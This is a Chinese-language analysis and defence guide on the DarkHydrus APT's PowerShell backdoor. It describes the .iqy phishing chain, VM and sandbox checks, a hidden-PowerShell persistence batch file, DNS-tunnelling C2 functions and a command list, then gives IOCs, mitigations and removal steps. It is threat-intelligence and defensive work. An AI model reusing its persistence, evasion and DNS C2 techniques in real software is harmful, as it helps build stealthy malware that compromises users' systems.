深入解析由黑客组织DarkHydrus使用的Powershell恶意软件
字数 1770 2025-08-18 11:37:28

DarkHydrus PowerShell恶意软件深入分析与防御指南

一、概述

DarkHydrus是一个针对中东组织的APT黑客组织,使用高度定制的PowerShell恶意软件进行攻击。本文档将详细分析该恶意软件的工作原理、技术细节及防御方法。

二、攻击链分析

1. 初始感染阶段

  • 传播方式:鱼叉式钓鱼邮件包含受密码保护的RAR附件
  • 文件类型:RAR内包含.iqy(Internet查询文件)
  • MD5哈希:377cfd5b9aad2473d1659a5dbad01d90

2. 第一阶段载荷

  • 执行机制:Excel默认打开.iqy文件,从URL获取内容
  • URL:hxxp://micrrosoft.net/releasenotes.txt
  • MD5哈希:bd764192e951b5afd56870d2084bccfd
  • 行为:执行PowerShell命令下载第二阶段载荷

3. 第二阶段载荷

  • 下载位置:hxxp://micrrosoft.net/winupdate.ps1
  • MD5哈希:953a753dd4944c9a2b9876b090bf7c00
  • 特点:使用压缩和Base64编码的PowerShell脚本

三、技术细节分析

1. 反分析技术

恶意软件实现了多层次的反分析检测:

虚拟机检测

# 检查SMBIOSBIOSVersion是否包含以下关键词
"VBOX", "bochs", "qemu", "VirtualBox", "VM"

# 检查Manufacturer是否为XEN
Get-WmiObject -Query "Select Manufacturer from Win32_BIOS"

系统资源检测

# 检查物理内存是否小于2.9GB
Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem"

# 检查处理器核心数是否大于1
(Get-WmiObject Win32_Processor).NumberOfCores

分析工具检测

检查以下进程是否运行:

  • Wireshark相关进程
  • Sysinternals工具相关进程

绕过方法

  1. 使用MOF文件修改WMI信息:
#pragma namespace("\\\\.\\root\\cimv2")
instance of Win32_BIOS
{
    Manufacturer = "Sony";
    SMBIOSBIOSVersion = "Legit_PC";
};

使用命令:mofcomp.exe bios.mof

  1. 分配足够资源:
  • 内存 > 2.9GB
  • CPU核心数 > 1
  1. 避免运行分析工具

2. 持久化机制

# 创建持久化文件
"%APPDATA%\OneDrive.bat" 内容:
powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"

# 创建启动项快捷方式
"Startup\OneDrive.lnk"  "%APPDATA%\OneDrive.bat"

# 针对Windows 7的特殊处理

3. 通信机制

使用DNS作为C2通信渠道:

查询类型

$queryTypes = "A", "AAAA", "AC", "CNAME", "MX", "TXT", "SRV", "SOA"

通信函数

function query {
    param($query, $type, $test, $change_mode)
    # 使用nslookup.exe进行DNS查询
    $parameters = "-querytype=$type $query.$domain $server"
    iex "nslookup $parameters"
}

轮询机制

function roundRobin {
    param($list, $current)
    # 轮换使用不同的DNS查询类型和域名
}

4. 数据收集

function myInfo {
    # 收集系统信息
    $info = @(
        (Get-NetIPAddress).IPAddress,
        $env:USERDOMAIN,
        $env:USERNAME,
        $env:COMPUTERNAME,
        ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
    )
    # 添加配置信息
    $info += $Global:hasGarbage, $Global:hasstartup, $Global:hybdrid, $Global:sleep, $Global:jitter
    return $info -join "|"
}

5. 命令与控制功能

支持的命令列表:

  • $fileDownload - 文件下载
  • $importModule - 导入模块
  • $fileUpload - 文件上传
  • $screenshot - 屏幕截图
  • $command - 执行任意命令
  • slp:\d+ - 设置通信间隔
  • slpx:\d+ - 设置DNS请求间隔
  • testmode - 测试连接
  • showconfig - 显示配置

四、防御措施

1. 检测指标(IOC)

  • 文件哈希

    • IQY文件: 377cfd5b9aad2473d1659a5dbad01d90
    • 第二阶段: bd764192e951b5afd56870d2084bccfd
    • 第三阶段: 953a753dd4944c9a2b9876b090bf7c00
  • C2域名

    • anyconnect[.]stream
    • bigip[.]stream
    • fortiweb[.]download
    • kaspersky[.]science
    • microtik[.]stream
    • owa365[.]bid
    • symanteclive[.]download
    • windowsdefender[.]win

2. 防护建议

  1. 邮件安全

    • 阻止带有.iqy附件的邮件
    • 教育用户识别鱼叉式钓鱼攻击
  2. 系统加固

    • 禁用Office宏执行
    • 限制PowerShell执行策略
    • 监控%APPDATA%和启动目录的异常文件
  3. 网络防护

    • 阻止已知C2域名
    • 监控异常DNS查询模式
    • 限制出站DNS查询
  4. 终端防护

    • 部署EDR解决方案监控PowerShell活动
    • 启用脚本日志记录和审计

五、清除方法

  1. 删除持久化文件:

    • %APPDATA%\OneDrive.bat
    • %APPDATA%\OneDrive.ps1
    • 启动目录中的OneDrive.lnk
  2. 检查并终止相关进程:

    • PowerShell进程
    • 可疑的cmd.exe进程
  3. 重置WMI信息(如果被修改)

六、总结

DarkHydrus使用的PowerShell恶意软件展示了高级的逃避技术和灵活的C2通信机制。通过了解其工作原理和技术细节,安全团队可以更好地检测和防御此类威胁。关键点包括:

  • 多阶段载荷传递
  • 全面的反分析技术
  • 基于DNS的隐蔽通信
  • 模块化的后门功能

持续监控PowerShell活动和分析网络流量中的异常DNS模式是检测此类威胁的有效方法。

DarkHydrus PowerShell恶意软件深入分析与防御指南 一、概述 DarkHydrus是一个针对中东组织的APT黑客组织,使用高度定制的PowerShell恶意软件进行攻击。本文档将详细分析该恶意软件的工作原理、技术细节及防御方法。 二、攻击链分析 1. 初始感染阶段 传播方式 :鱼叉式钓鱼邮件包含受密码保护的RAR附件 文件类型 :RAR内包含.iqy(Internet查询文件) MD5哈希 :377cfd5b9aad2473d1659a5dbad01d90 2. 第一阶段载荷 执行机制 :Excel默认打开.iqy文件,从URL获取内容 URL :hxxp://micrrosoft.net/releasenotes.txt MD5哈希 :bd764192e951b5afd56870d2084bccfd 行为 :执行PowerShell命令下载第二阶段载荷 3. 第二阶段载荷 下载位置 :hxxp://micrrosoft.net/winupdate.ps1 MD5哈希 :953a753dd4944c9a2b9876b090bf7c00 特点 :使用压缩和Base64编码的PowerShell脚本 三、技术细节分析 1. 反分析技术 恶意软件实现了多层次的反分析检测: 虚拟机检测 系统资源检测 分析工具检测 检查以下进程是否运行: Wireshark相关进程 Sysinternals工具相关进程 绕过方法 使用MOF文件修改WMI信息: 使用命令: mofcomp.exe bios.mof 分配足够资源: 内存 > 2.9GB CPU核心数 > 1 避免运行分析工具 2. 持久化机制 3. 通信机制 使用DNS作为C2通信渠道: 查询类型 通信函数 轮询机制 4. 数据收集 5. 命令与控制功能 支持的命令列表: $fileDownload - 文件下载 $importModule - 导入模块 $fileUpload - 文件上传 $screenshot - 屏幕截图 $command - 执行任意命令 slp:\d+ - 设置通信间隔 slpx:\d+ - 设置DNS请求间隔 testmode - 测试连接 showconfig - 显示配置 四、防御措施 1. 检测指标(IOC) 文件哈希 : IQY文件: 377cfd5b9aad2473d1659a5dbad01d90 第二阶段: bd764192e951b5afd56870d2084bccfd 第三阶段: 953a753dd4944c9a2b9876b090bf7c00 C2域名 : anyconnect[ . ]stream bigip[ . ]stream fortiweb[ . ]download kaspersky[ . ]science microtik[ . ]stream owa365[ . ]bid symanteclive[ . ]download windowsdefender[ . ]win 2. 防护建议 邮件安全 : 阻止带有.iqy附件的邮件 教育用户识别鱼叉式钓鱼攻击 系统加固 : 禁用Office宏执行 限制PowerShell执行策略 监控%APPDATA%和启动目录的异常文件 网络防护 : 阻止已知C2域名 监控异常DNS查询模式 限制出站DNS查询 终端防护 : 部署EDR解决方案监控PowerShell活动 启用脚本日志记录和审计 五、清除方法 删除持久化文件: %APPDATA%\OneDrive.bat %APPDATA%\OneDrive.ps1 启动目录中的 OneDrive.lnk 检查并终止相关进程: PowerShell进程 可疑的cmd.exe进程 重置WMI信息(如果被修改) 六、总结 DarkHydrus使用的PowerShell恶意软件展示了高级的逃避技术和灵活的C2通信机制。通过了解其工作原理和技术细节,安全团队可以更好地检测和防御此类威胁。关键点包括: 多阶段载荷传递 全面的反分析技术 基于DNS的隐蔽通信 模块化的后门功能 持续监控PowerShell活动和分析网络流量中的异常DNS模式是检测此类威胁的有效方法。